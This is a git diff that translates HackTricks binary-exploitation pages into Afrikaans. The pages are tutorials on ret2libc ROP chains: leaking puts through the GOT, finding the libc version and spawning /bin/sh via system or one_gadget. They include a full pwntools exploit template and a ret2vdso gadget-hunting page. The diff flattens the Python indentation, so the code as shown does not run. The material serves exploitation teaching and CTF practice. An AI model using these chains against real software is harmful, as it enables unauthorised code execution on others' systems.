```python
from pwn import *
cyclic_find(0x6161616b)
```
+.png>)
-.png>)
-
-After finding the offset (in this case 40) change the OFFSET variable inside the template using that value.\
+Nadat die offset gevind is (in hierdie geval 40), verander die OFFSET-veranderlike binne die template deur daardie waarde te gebruik.\
`OFFSET = "A" * 40`
-Another way would be to use: `pattern create 1000` -- _execute until ret_ -- `pattern seach $rsp` from GEF.
-
-## 2- Finding Gadgets
+’n Ander opsie is om `pattern create 1000` te gebruik, uit te voer totdat `ret` bereik word, en `pattern search $rsp` in GEF uit te voer.
-Now we need to find ROP gadgets inside the binary. This ROP gadgets will be useful to call `puts`to find the **libc** being used, and later to **launch the final exploit**.
+## 2- Vind Gadgets
+Nou moet ons ROP gadgets binne die binary vind. Hierdie ROP gadgets sal nuttig wees om `puts` te roep om die **libc** wat gebruik word, te vind, en later om die **finale exploit te lanseer**.
```python
PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
MAIN_PLT = elf.symbols['main']
@@ -89,108 +83,98 @@ log.info("Main start: " + hex(MAIN_PLT))
log.info("Puts plt: " + hex(PUTS_PLT))
log.info("pop rdi; ret gadget: " + hex(POP_RDI))
```
+Die `PUTS_PLT` is nodig om die **function puts** aan te roep.\
+Die `MAIN_PLT` is nodig om die **main function** weer aan te roep ná een interaksie om die overflow **weer te exploit** (oneindige rondtes van exploitation). **Dit word aan die einde van elke ROP gebruik om die program weer aan te roep**.\
+Die **POP_RDI** is nodig om ’n **parameter** aan die aangeroepte function **deur te gee**.
-The `PUTS_PLT` is needed to call the **function puts**.\
-The `MAIN_PLT` is needed to call the **main function** again after one interaction to **exploit** the overflow **again** (infinite rounds of exploitation). **It is used at the end of each ROP to call the program again**.\
-The **POP_RDI** is needed to **pass** a **parameter** to the called function.
-
-In this step you don't need to execute anything as everything will be found by pwntools during the execution.
-
-## 3- Finding libc library
+In hierdie stap hoef jy niks uit te voer nie, aangesien alles tydens die uitvoering deur pwntools gevind sal word.
-Now is time to find which version of the **libc** library is being used. To do so we are going to **leak** the **address** in memory of the **function** `puts`and then we are going to **search** in which **library version** the puts version is in that address.
+## 3- Vind libc-biblioteek
+Dit is nou tyd om uit te vind watter weergawe van die **libc**-biblioteek gebruik word. Om dit te doen, gaan ons die **adres** in die geheue van die **function** `puts` leak en dan soek in watter **biblioteekweergawe** die puts-weergawe by daardie adres is.
```python
def get_addr(func_name):
- FUNC_GOT = elf.got[func_name]
- log.info(func_name + " GOT @ " + hex(FUNC_GOT))
- # Create rop chain
- rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
-
- #Send our rop-chain payload
- #p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
- print(p.clean()) # clean socket buffer (read all and print)
- p.sendline(rop1)
-
- #Parse leaked address
- recieved = p.recvline().strip()
- leak = u64(recieved.ljust(8, "\x00"))
- log.info("Leaked libc address, "+func_name+": "+ hex(leak))
- #If not libc yet, stop here
- if libc != "":
- libc.address = leak - libc.symbols[func_name] #Save libc base
- log.info("libc base @ %s" % hex(libc.address))
-
- return hex(leak)
-
-get_addr("puts") #Search for puts address in memmory to obtains libc base
-if libc == "":
- print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
- p.interactive()
-```
+FUNC_GOT = elf.got[func_name]
+log.info(func_name + " GOT @ " + hex(FUNC_GOT))
+# Create rop chain
+rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
+
+#Send our rop-chain payload
+#p.sendlineafter("dah?", rop1) #Interesting to send in a specific moment
+print(p.clean()) # clean socket buffer (read all and print)
+p.sendline(rop1)
+
+#Parse leaked address
+received = p.recvline().strip()
+leak = u64(received.ljust(8, "\x00"))
+log.info("Leaked libc address, "+func_name+": "+ hex(leak))
+#If not libc yet, stop here
+if libc != "":
+libc.address = leak - libc.symbols[func_name] #Save libc base
+log.info("libc base @ %s" % hex(libc.address))
-To do so, the most important line of the executed code is:
+return hex(leak)
+get_addr("puts") # Search for the puts address in memory to obtain the libc base
+if libc == "":
+print("Find the libc library and continue with the exploit... (https://libc.blukat.me/)")
+p.interactive()
+```
+Om dit te doen, is die belangrikste reël van die uitgevoerde kode:
```python
rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
```
+Dit sal sommige bytes stuur totdat **RIP** **oorskryf** word: `OFFSET`.\
+Daarna sal dit die **address** van die `POP_RDI`-gadget stel, sodat die volgende address (`FUNC_GOT`) in die **RDI**-register gestoor word. Dit is omdat ons **puts wil call** en die **address** van `PUTS_GOT` daaraan wil **pass**, aangesien die address in memory van die puts function gestoor word by die address waarna `PUTS_GOT` wys.\
+Daarna sal `PUTS_PLT` geroep word (met `PUTS_GOT` binne die **RDI**), sodat puts die inhoud binne `PUTS_GOT` (**die address van die puts function in memory**) sal **lees** en dit sal **print**.\
+Laastens word die **main function** weer geroep, sodat ons die overflow weer kan exploit.
-This will send some bytes util **overwriting** the **RIP** is possible: `OFFSET`.\
-Then, it will set the **address** of the gadget `POP_RDI` so the next address (`FUNC_GOT`) will be saved in the **RDI** registry. This is because we want to **call puts** **passing** it the **address** of the `PUTS_GOT`as the address in memory of puts function is saved in the address pointing by `PUTS_GOT`.\
-After that, `PUTS_PLT` will be called (with `PUTS_GOT` inside the **RDI**) so puts will **read the content** inside `PUTS_GOT` (**the address of puts function in memory**) and will **print it out**.\
-Finally, **main function is called again** so we can exploit the overflow again.
+Op hierdie manier het ons die **puts function gefool** om die **address** in **memory** van die function **puts** (wat binne die **libc**-biblioteek is) uit te **print**. Noudat ons daardie address het, kan ons **soek watter libc-weergawe gebruik word**.
-This way we have **tricked puts function** to **print** out the **address** in **memory** of the function **puts** (which is inside **libc** library). Now that we have that address we can **search which libc version is being used**.
+.png>)
-.png>)
-
-As we are **exploiting** some **local** binary it is **not needed** to figure out which version of **libc** is being used (just find the library in `/lib/x86_64-linux-gnu/libc.so.6`).\
-But, in a remote exploit case I will explain here how can you find it:
+Omdat ons ’n **plaaslike** binary **exploit**, is dit **nie nodig** om uit te vind watter weergawe van **libc** gebruik word nie (vind net die biblioteek in `/lib/x86_64-linux-gnu/libc.so.6`).\
+Maar in ’n remote exploit-geval sal ek hier verduidelik hoe jy dit kan vind:
### 3.1- Searching for libc version (1)
-You can search which library is being used in the web page: [https://libc.blukat.me/](https://libc.blukat.me)\
-It will also allow you to download the discovered version of **libc**
+Jy kan soek watter biblioteek gebruik word op die webblad: [https://libc.blukat.me/](https://libc.blukat.me)\
+Dit sal jou ook toelaat om die ontdekte weergawe van **libc** af te laai.
-.png>)
+.png>)
### 3.2- Searching for libc version (2)
-You can also do:
+Jy kan ook doen:
- `$ git clone https://github.com/niklasb/libc-database.git`
- `$ cd libc-database`
- `$ ./get`
-This will take some time, be patient.\
-For this to work we need:
-
-- Libc symbol name: `puts`
-- Leaked libc adddress: `0x7ff629878690`
+Dit sal ’n tydjie neem; wees geduldig.\
+Om dit te laat werk, benodig ons:
-We can figure out which **libc** that is most likely used.
+- Libc-simboolnaam: `puts`
+- Ge-leakte libc-address: `0x7ff629878690`
+Ons kan uitvind watter **libc** waarskynlik gebruik word.
```bash
./find puts 0x7ff629878690
ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
archive-glibc (id libc6_2.23-0ubuntu11_amd64)
```
-
-We get 2 matches (you should try the second one if the first one is not working). Download the first one:
-
+Ons kry 2 resultate (jy moet die tweede een probeer as die eerste een nie werk nie). Laai die eerste een af:
```bash
./download libc6_2.23-0ubuntu10_amd64
Getting libc6_2.23-0ubuntu10_amd64
- -> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
- -> Downloading package
- -> Extracting package
- -> Package saved to libs/libc6_2.23-0ubuntu10_amd64
+-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb
+-> Downloading package
+-> Extracting package
+-> Package saved to libs/libc6_2.23-0ubuntu10_amd64
```
+Kopieer die libc vanaf `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` na ons werkende gids.
-Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory.
-
-### 3.3- Other functions to leak
-
+### 3.3- Ander funksies om te leak
```python
puts
printf
@@ -198,28 +182,24 @@ __libc_start_main
read
gets
```
+## 4- Vind libc-adres gebaseer op & exploiting
-## 4- Finding based libc address & exploiting
-
-At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6`
+Op hierdie stadium behoort ons te weet watter libc-biblioteek gebruik word. Omdat ons 'n plaaslike binary exploiteer, sal ek net gebruik:`/lib/x86_64-linux-gnu/libc.so.6`
-So, at the beginning of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
+Dus, verander die **libc**-veranderlike aan die begin van `template.py` na: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it`
-Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**.
-
-Inside the `get_addr`function the **base address of libc** is going to be calculated:
+Deur die **path** na die **libc-biblioteek** te gee, gaan die res van die **exploit outomaties bereken word**.
+Binne die `get_addr`-funksie gaan die **basisadres van libc** bereken word:
```python
if libc != "":
- libc.address = leak - libc.symbols[func_name] #Save libc base
- log.info("libc base @ %s" % hex(libc.address))
+libc.address = leak - libc.symbols[func_name] #Save libc base
+log.info("libc base @ %s" % hex(libc.address))
```
+> [!TIP]
+> Let daarop dat die **finale libc-basisadres op 00 moet eindig**. As dit nie in jou geval so is nie, het jy moontlik ’n verkeerde library ge-leak.
-> [!NOTE]
-> Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library.
-
-Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.**
-
+Daarna sal die adres van die funksie `system` en die **adres** van die string _"/bin/sh"_ **bereken** word vanaf die **basisadres** van **libc** en die gegewe **libc library**.
```python
BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
SYSTEM = libc.sym["system"]
@@ -228,9 +208,7 @@ EXIT = libc.sym["exit"]
log.info("bin/sh %s " % hex(BINSH))
log.info("system %s " % hex(SYSTEM))
```
-
-Finally, the /bin/sh execution exploit is going to be prepared sent:
-
+Uiteindelik sal die /bin/sh execution exploit voorberei en gestuur word:
```python
rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT)
@@ -238,67 +216,65 @@ p.clean()
p.sendline(rop2)
#### Interact with the shell #####
-p.interactive() #Interact with the conenction
+p.interactive() # Interact with the connection
```
+Kom ons verduidelik hierdie finale ROP.\
+Die eerste ROP chain (`rop1`) keer terug na `main`, sodat die overflow weer getrigger kan word (vandaar die herhaalde `OFFSET`). Die tweede chain gebruik `POP_RDI` om die adres van _"/bin/sh"_ (`BINSH`) deur te gee en roep dan `system` (`SYSTEM`) aan.\
+Laastens word die **adres van exit function** **called**, sodat die proses **netjies exits** en enige alert gegenereer word.
-Let's explain this final ROP.\
-The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\
-Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated.
+**Op hierdie manier sal die exploit 'n _/bin/sh_-shell uitvoer.**
-**This way the exploit will execute a \_/bin/sh**\_\*\* shell.\*\*
-
-.png>)
+.png>)
## 4(2)- Using ONE_GADGET
-You could also use [**ONE_GADGET** ](https://github.com/david942j/one_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**.\
-However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided.
-
-.png>)
+Jy kan ook [**ONE_GADGET** ](https://github.com/david942j/one_gadget)gebruik om 'n shell te verkry in plaas daarvan om **system** en **"/bin/sh"** te gebruik. **ONE_GADGET** sal binne die libc library 'n manier vind om 'n shell te verkry deur slegs een **ROP address** te gebruik.[[4]](#references) \
+Daar is egter normaalweg sekere constraints; die algemeenste en maklikste om te vermy, is byvoorbeeld `[rsp+0x30] == NULL`. Omdat jy die waardes binne die **RSP** beheer, hoef jy net nog NULL-waardes te stuur sodat die constraint vermy word.[[4]](#references)
+.png>)
```python
ONE_GADGET = libc.address + 0x4526a
rop2 = base + p64(ONE_GADGET) + "\x00"*100
```
-
## EXPLOIT FILE
-You can find a template to exploit this vulnerability here:
+Jy kan hier 'n template vind om hierdie vulnerability te exploit:
+
{{#ref}}
rop-leaking-libc-template.md
{{#endref}}
-## Common problems
+## Algemene probleme
### MAIN_PLT = elf.symbols\['main'] not found
-If the "main" symbol does not exist. Then you can find where is the main code:
-
+As die "main"-symbol nie bestaan nie, kan jy vind waar die main-kode is:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
-
-and set the address manually:
-
+en stel die adres handmatig in:
```python
MAIN_PLT = 0x401080
```
+### Puts nie gevind nie
-### Puts not found
-
-If the binary is not using Puts you should check if it is using
+As die binary nie Puts gebruik nie, moet jy kyk of dit gebruik
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
-If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
-
-Try to **subtract 64 bytes to the address of "/bin/sh"**:
+As jy hierdie **error** kry nadat jy **die hele exploit** geskep het: `sh: 1: %s%s%s%s%s%s%s%s: not found`
+Probeer om **64 bytes van die adres van "/bin/sh" af te trek**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
+## References
+- [1] [Ret2libc - Onbekende libc - Taste of Security](https://tasteofsecurity.com/security/ret2libc-unknown-libc/)
+- [2] [B-reeks: ret2libc - made0x78](https://made0x78.com/bseries-ret2libc/)
+- [3] [CSAW 2019-kwalifikasies - babyboi (guyinatuxedo)](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
+- [4] [one_gadget - Die beste exploit-tool van magie, vind een gadget om hulle almal te beheer](https://github.com/david942j/one_gadget)
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
index def2864f45c..47dcfa77756 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
@@ -1,11 +1,6 @@
-# Leaking libc - template
+# Leaking libc - sjabloon
{{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-{% embed url="https://websec.nl/" %}
-
```python:template.py
from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools
@@ -25,25 +20,25 @@ LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it
ENV = {"LD_PRELOAD": LIBC} if LIBC else {}
if LOCAL:
- P = process(LOCAL_BIN, env=ENV) # start the vuln binary
- ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
- ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
+P = process(LOCAL_BIN, env=ENV) # start the vuln binary
+ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
+ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP:
- P = remote('10.10.10.10',1339) # start the vuln binary
- ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
- ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
+P = remote('10.10.10.10',1339) # start the vuln binary
+ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
+ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTESSH:
- ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
- p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
- elf = ELF(LOCAL_BIN)# Extract data from binary
- rop = ROP(elf)# Find ROP gadgets
+ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
+p = ssh_shell.process(REMOTE_BIN) # start the vuln binary
+elf = ELF(LOCAL_BIN)# Extract data from binary
+rop = ROP(elf)# Find ROP gadgets
if GDB and not REMOTETTCP and not REMOTESSH:
- # attach gdb and continue
- # You can set breakpoints, for example "break *main"
- gdb.attach(P.pid, "b *main")
+# attach gdb and continue
+# You can set breakpoints, for example "break *main"
+gdb.attach(P.pid, "b *main")
@@ -53,15 +48,15 @@ if GDB and not REMOTETTCP and not REMOTESSH:
OFFSET = b"" #b"A"*264
if OFFSET == b"":
- gdb.attach(P.pid, "c") #Attach and continue
- payload = cyclic(264)
- payload += b"AAAAAAAA"
- print(P.clean())
- P.sendline(payload)
- #x/wx $rsp -- Search for bytes that crashed the application
- #print(cyclic_find(0x63616171)) # Find the offset of those bytes
- P.interactive()
- exit()
+gdb.attach(P.pid, "c") #Attach and continue
+payload = cyclic(264)
+payload += b"AAAAAAAA"
+print(P.clean())
+P.sendline(payload)
+#x/wx $rsp -- Search for bytes that crashed the application
+#print(cyclic_find(0x63616171)) # Find the offset of those bytes
+P.interactive()
+exit()
@@ -69,11 +64,11 @@ if OFFSET == b"":
### Find Gadgets ###
####################
try:
- libc_func = "puts"
- PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
+libc_func = "puts"
+PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts
except:
- libc_func = "printf"
- PUTS_PLT = ELF_LOADED.plt['printf']
+libc_func = "printf"
+PUTS_PLT = ELF_LOADED.plt['printf']
MAIN_PLT = ELF_LOADED.symbols['main']
POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi"
@@ -90,54 +85,54 @@ log.info("ret gadget: " + hex(RET))
########################
def generate_payload_aligned(rop):
- payload1 = OFFSET + rop
- if (len(payload1) % 16) == 0:
- return payload1
+payload1 = OFFSET + rop
+if (len(payload1) % 16) == 0:
+return payload1
- else:
- payload2 = OFFSET + p64(RET) + rop
- if (len(payload2) % 16) == 0:
- log.info("Payload aligned successfully")
- return payload2
- else:
- log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
- return payload1
+else:
+payload2 = OFFSET + p64(RET) + rop
+if (len(payload2) % 16) == 0:
+log.info("Payload aligned successfully")
+return payload2
+else:
+log.warning(f"I couldn't align the payload! Len: {len(payload1)}")
+return payload1
def get_addr(libc_func):
- FUNC_GOT = ELF_LOADED.got[libc_func]
- log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
- # Create rop chain
- rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
- rop1 = generate_payload_aligned(rop1)
-
- # Send our rop-chain payload
- #P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
- print(P.clean()) # clean socket buffer (read all and print)
- P.sendline(rop1)
-
- # If binary is echoing back the payload, remove that message
- recieved = P.recvline().strip()
- if OFFSET[:30] in recieved:
- recieved = P.recvline().strip()
-
- # Parse leaked address
- log.info(f"Len rop1: {len(rop1)}")
- leak = u64(recieved.ljust(8, b"\x00"))
- log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
-
- # Set lib base address
- if LIBC:
- LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
- print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
- log.info("LIBC base @ %s" % hex(LIBC.address))
-
- # If not LIBC yet, stop here
- else:
- print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
- P.interactive()
-
- return hex(leak)
+FUNC_GOT = ELF_LOADED.got[libc_func]
+log.info(libc_func + " GOT @ " + hex(FUNC_GOT))
+# Create rop chain
+rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
+rop1 = generate_payload_aligned(rop1)
+
+# Send our rop-chain payload
+#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received
+print(P.clean()) # clean socket buffer (read all and print)
+P.sendline(rop1)
+
+# If binary is echoing back the payload, remove that message
+recieved = P.recvline().strip()
+if OFFSET[:30] in recieved:
+recieved = P.recvline().strip()
+
+# Parse leaked address
+log.info(f"Len rop1: {len(rop1)}")
+leak = u64(recieved.ljust(8, b"\x00"))
+log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}")
+
+# Set lib base address
+if LIBC:
+LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base
+print("If LIBC base doesn't end end 00, you might be using an icorrect libc library")
+log.info("LIBC base @ %s" % hex(LIBC.address))
+
+# If not LIBC yet, stop here
+else:
+print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)")
+P.interactive()
+
+return hex(leak)
get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
@@ -150,38 +145,38 @@ get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base
## Via One_gadget (https://github.com/david942j/one_gadget)
# gem install one_gadget
def get_one_gadgets(libc):
- import string, subprocess
- args = ["one_gadget", "-r"]
- if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
- args += ["-b", libc.hex()]
- else:
- args += [libc]
- try:
- one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
- except:
- print("One_gadget isn't installed")
- one_gadgets = []
- return
+import string, subprocess
+args = ["one_gadget", "-r"]
+if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()):
+args += ["-b", libc.hex()]
+else:
+args += [libc]
+try:
+one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()]
+except:
+print("One_gadget isn't installed")
+one_gadgets = []
+return
rop2 = b""
if USE_ONE_GADGET:
- one_gadgets = get_one_gadgets(LIBC)
- if one_gadgets:
- rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
+one_gadgets = get_one_gadgets(LIBC)
+if one_gadgets:
+rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains
## Normal/Long exploitation
if not rop2:
- BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
- SYSTEM = LIBC.sym["system"]
- EXIT = LIBC.sym["exit"]
+BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh
+SYSTEM = LIBC.sym["system"]
+EXIT = LIBC.sym["exit"]
- log.info("POP_RDI %s " % hex(POP_RDI))
- log.info("bin/sh %s " % hex(BINSH))
- log.info("system %s " % hex(SYSTEM))
- log.info("exit %s " % hex(EXIT))
+log.info("POP_RDI %s " % hex(POP_RDI))
+log.info("bin/sh %s " % hex(BINSH))
+log.info("system %s " % hex(SYSTEM))
+log.info("exit %s " % hex(EXIT))
- rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
- rop2 = generate_payload_aligned(rop2)
+rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT)
+rop2 = generate_payload_aligned(rop2)
print(P.clean())
@@ -189,41 +184,30 @@ P.sendline(rop2)
P.interactive() #Interact with your shell :)
```
-
-## Common problems
+## Algemene probleme
### MAIN_PLT = elf.symbols\['main'] not found
-If the "main" symbol does not exist (probably because it's a stripped binary). Then you can just find where is the main code:
-
+As die "main"-simbool nie bestaan nie (waarskynlik omdat dit 'n stripped binary is), kan jy eenvoudig vind waar die main-code is:
```python
objdump -d vuln_binary | grep "\.text"
Disassembly of section .text:
0000000000401080 <.text>:
```
-
-and set the address manually:
-
+en stel die adres handmatig in:
```python
MAIN_PLT = 0x401080
```
+### Puts nie gevind nie
-### Puts not found
-
-If the binary is not using Puts you should **check if it is using**
+As die binary nie Puts gebruik nie, moet jy **kyk of dit gebruik**
### `sh: 1: %s%s%s%s%s%s%s%s: not found`
-If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found`
-
-Try to **subtract 64 bytes to the address of "/bin/sh"**:
+As jy hierdie **fout** kry nadat jy **die hele exploit** geskep het: `sh: 1: %s%s%s%s%s%s%s%s: not found`
+Probeer om **64 bytes van die adres van "/bin/sh" af te trek**:
```python
BINSH = next(libc.search("/bin/sh")) - 64
```
-
-
-
-{% embed url="https://websec.nl/" %}
-
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md b/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md
index a3a6c9ed5d5..c42e99701fc 100644
--- a/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md
+++ b/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md
@@ -2,12 +2,17 @@
{{#include ../../banners/hacktricks-training.md}}
-## Basic Information
+## Basiese Inligting
-There might be **gadgets in the vDSO region**, which is used to change from user mode to kernel mode. In these type of challenges, usually a kernel image is provided to dump the vDSO region.
+Daar kan **gadgets in die vDSO-streek** wees, wat ’n klein ELF DSO is wat deur die kernel gemap word om vinnige gebruikersruimte-implementerings van sommige kernel helpers te verskaf. In hierdie tipe challenges word ’n kernel image gewoonlik verskaf om die vDSO-streek te dump.
-Following the example from [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) it's possible to see how it was possible to dump the vdso section and move it to the host with:
+### Vind die vDSO-basis en exports
+Die vDSO-basisadres word in die auxiliary vector as `AT_SYSINFO_EHDR` deurgegee. As jy dus `/proc//auxv` kan lees (of `getauxval` in ’n helper process kan aanroep), kan jy die basis herwin sonder om op ’n memory leak staat te maak. Sien [Auxiliary Vector (auxv) and vDSO](../basic-stack-binary-exploitation-methodology/elf-tricks.md) vir praktiese maniere om dit te verkry.
+
+Sodra jy die basis het, behandel die vDSO soos ’n normale ELF DSO (`linux-vdso.so.1`): dump die mapping en gebruik `readelf -Ws`/`objdump -d` (of die kernel se reference parser `tools/testing/selftests/vDSO/parse_vdso.c`) om exported symbols op te los en na gadgets te soek. Op x86 32-bit exporteer die vDSO gewoonlik `__kernel_vsyscall`, `__kernel_sigreturn` en `__kernel_rt_sigreturn`; op x86_64 sluit tipiese exports `__vdso_clock_gettime`, `__vdso_gettimeofday` en `__vdso_time` in. Omdat die vDSO symbol versioning gebruik, moet jy die verwagte weergawe pas wanneer jy symbols oplos.[[1]](#references) [[2]](#references)
+
+Die *Maze of Mist*-voorbeeld wys hoe om die vDSO-mapping te dump en dit na die host oor te dra:[[3]](#references)
```bash
# Find addresses
cat /proc/76/maps
@@ -33,9 +38,7 @@ echo '' | base64 -d | gzip -d - > vdso
file vdso
ROPgadget --binary vdso | grep 'int 0x80'
```
-
-ROP gadgets found:
-
+ROP gadgets gevind:
```python
vdso_addr = 0xf7ffc000
@@ -54,16 +57,22 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb
# 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret
pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd
```
-
> [!CAUTION]
-> Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
+> Op geraakte 32-bis-versoenbaarheidskonfigurasies kon `CONFIG_COMPAT_VDSO` die vDSO by ’n vaste adres karteer, wat hierdie gadgets bruikbaar maak sonder om ASLR eers te omseil. Verifieer die teikenkern en kartering eerder as om aan te neem dat huidige kerne so optree.[[4]](#references)
### ARM64
-After dumping and checking the vdso section of a binary in kali 2023.2 arm64, I couldn't find in there any interesting gadget (no way to control registers from values in the stack or to control x30 for a ret) **except a way to call a SROP**. Check more info int eh example from the page:
+Nadat ek die vdso-afdeling van ’n binary in Kali 2023.2 arm64 gedump en nagegaan het, kon ek geen interessante gadget daarin vind nie (geen manier om registers vanaf waardes op die stack te beheer of x30 vir ’n ret te beheer nie), **behalwe ’n manier om ’n SROP te roep**. Kyk na meer inligting in die voorbeeld op die bladsy:
+
{{#ref}}
srop-sigreturn-oriented-programming/srop-arm64.md
{{#endref}}
+## References
+
+- [1] [vdso(7) - Linux-handleidingbladsy](https://man7.org/linux/man-pages/man7/vdso.7.html)
+- [2] [Linux-kern vDSO ABI-dokumentasie](https://www.kernel.org/doc/Documentation/ABI/stable/vdso)
+- [3] [Doolhof van Mis - HTB Cyber Apocalypse](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/)
+- [4] [Linux-kern: omseiling van ASLR via VDSO](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md
